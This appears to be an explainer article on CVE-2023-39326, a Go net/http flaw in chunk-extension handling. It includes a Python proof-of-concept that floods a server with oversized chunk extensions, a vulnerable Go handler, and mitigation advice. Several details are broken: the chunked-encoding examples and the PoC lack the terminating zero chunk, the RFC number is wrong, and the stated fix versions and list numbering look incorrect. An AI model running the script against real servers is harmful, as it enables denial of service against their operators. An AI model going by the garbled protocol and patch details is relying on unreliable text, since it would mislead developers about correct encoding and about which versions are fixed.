In the world of web development, the Go programming language is well-known for its powerful and reliable net/http package, which forms the backbone of countless web services. However, in late 2023, security researchers found a significant vulnerability within Go's HTTP implementation related to chunked transfer encoding—specifically, around the rarely used chunk extensions. Labeled as CVE-2023-39326, this bug enables attackers to force a server or client to consume massive, unnecessary amounts of network data, simply by abusing a subtle feature of the HTTP specification.

In this long read, we'll walk through what this vulnerability is, how it's exploited, showcase simple code snippets, and provide resources for further reading. Whether you’re a Go programmer or just interested in modern web vulnerabilities, this article will help demystify a complex flaw in clear, easy-to-understand language.

Chunked Transfer Encoding

When a web server needs to send data of unknown length to a client (like when streaming), it uses *chunked transfer encoding*. Data is broken into pieces (chunks), each with its own size header. For example:

4\r\n
Wiki\r\n
5\r\n
pedia\r\n
\r\n
\r\n

Above, "Wiki" and "pedia" are two chunks, followed by a terminating zero-length chunk.

Chunk Extensions

The *HTTP/1.1* specification (RFC 723) allows for "extensions" on each chunk. Normally, this feature is almost never used:

<chunk-size>[;chunk-extension]\r\n
<chunk-data>\r\n

A real chunk with extension might look like

5;foo=bar\r\n
Hello\r\n

The Vulnerability: How CVE-2023-39326 Works

### Poor Handling of Chunk Extensions in Go’s net/http

The bug stems from the fact that the Go HTTP implementation–like most others— ignores these chunk extensions because they’re of little real-world use. While this is fine for *correct* clients and servers, a malicious sender can exploit this by making the chunk extension fields absurdly large.

The *chunked encoding reader* discards the chunk extension, but still reads it from the network.

- An attacker can create many chunks, each with a small payload (like 1 byte) but a massive chunk extension (like 1 MB of metadata).
- As a result, the Go server (or client) processes only the legitimate data, but has to read (and discard) huge amounts of metadata.
- If a handler doesn’t fully read the request body, these extra bytes may never be drained, causing the server’s HTTP connection to hang and read up to ~1GiB of useless data (or more, in some configurations).

Exploiting the Vulnerability: Example Code

Let's imagine an attacker wants to send a request designed to waste as much server bandwidth as possible using this bug. Here's a simple Python snippet to demonstrate the idea:

import socket

def send_malicious_chunked_request(host, port):
    s = socket.create_connection((host, port))
    # Compose a single chunk with:
    # - 1 byte of real data ("A")
    # - 1 MB of chunk extension metadata ("X...X")
    extension = ';' + 'X' * (1024 * 1024)  # 1 MB
    chunk = f"1{extension}\r\nA\r\n"
    # Ending chunk
    chunk += "\r\n\r\n"
    request = (
        "POST / HTTP/1.1\r\n"
        "Host: {}\r\n"
        "Transfer-Encoding: chunked\r\n"
        "Content-Type: text/plain\r\n"
        "\r\n"
        "{}"
    ).format(host, chunk)
    s.sendall(request.encode())
    s.close()

# Usage: send_malicious_chunked_request('localhost', 808)

You can repeat that chunk multiple times to waste more bandwidth.

On the server side, any code like this is at risk if it doesn’t drain the body

// vulnerable code (server handler)
func handler(w http.ResponseWriter, r *http.Request) {
    buf := make([]byte, 10)
    // Read only part of the body; connection left hanging if more data present
    r.Body.Read(buf)
    // Now return
}

If your handler does not read/discard the entire body, your server can be tricked into reading giant amounts of data from the network, even though only a few bytes are processed.

Go’s Mitigation

To resolve this, the Go team made the *chunked reader* enforce a ratio limit on the metadata-to-actual-data size. If the chunk extensions grow too large relative to actual data, it triggers an error, and the connection is closed.

See their official release note and Github commit for details.

Impact

- DoS Potential: Any Go web server not reading full chunked bodies can be forced to read ~1GB of garbage before closing.

References

- CVE-2023-39326 – NVD Details
- Go Security Release Note
- Go Commit Fix
- RFC723 – HTTP/1.1: Message Syntax and Routing

Update Go: Upgrade to Go 1.21.4 or 1.20.11+ immediately.

2. Drain HTTP Bodies: Always read the full request or response body, even if you don’t intend to use it.

Monitor Network Traffic: Look for unusually large inbound HTTP requests with chunked encoding.

4. Rate-limit and Filter: Use WAFs or application logic to reject suspiciously large chunk extensions.

Conclusion

CVE-2023-39326 highlights how even rarely used features in protocols like HTTP can hide dangerous vulnerabilities. For Go users, keeping dependencies up-to-date, understanding protocol details, and following best coding practices (like always draining your HTTP request bodies) are essential for robust security.

Stay safe and keep your servers patched!

*This article is written to provide an exclusive, easy-to-understand explanation of CVE-2023-39326 and its impact on Go's net/http package. For more technical details, read the references and always monitor official channels for updates.*

Timeline

Published on: 12/06/2023 17:15:07 UTC
Last modified on: 01/20/2024 04:15:07 UTC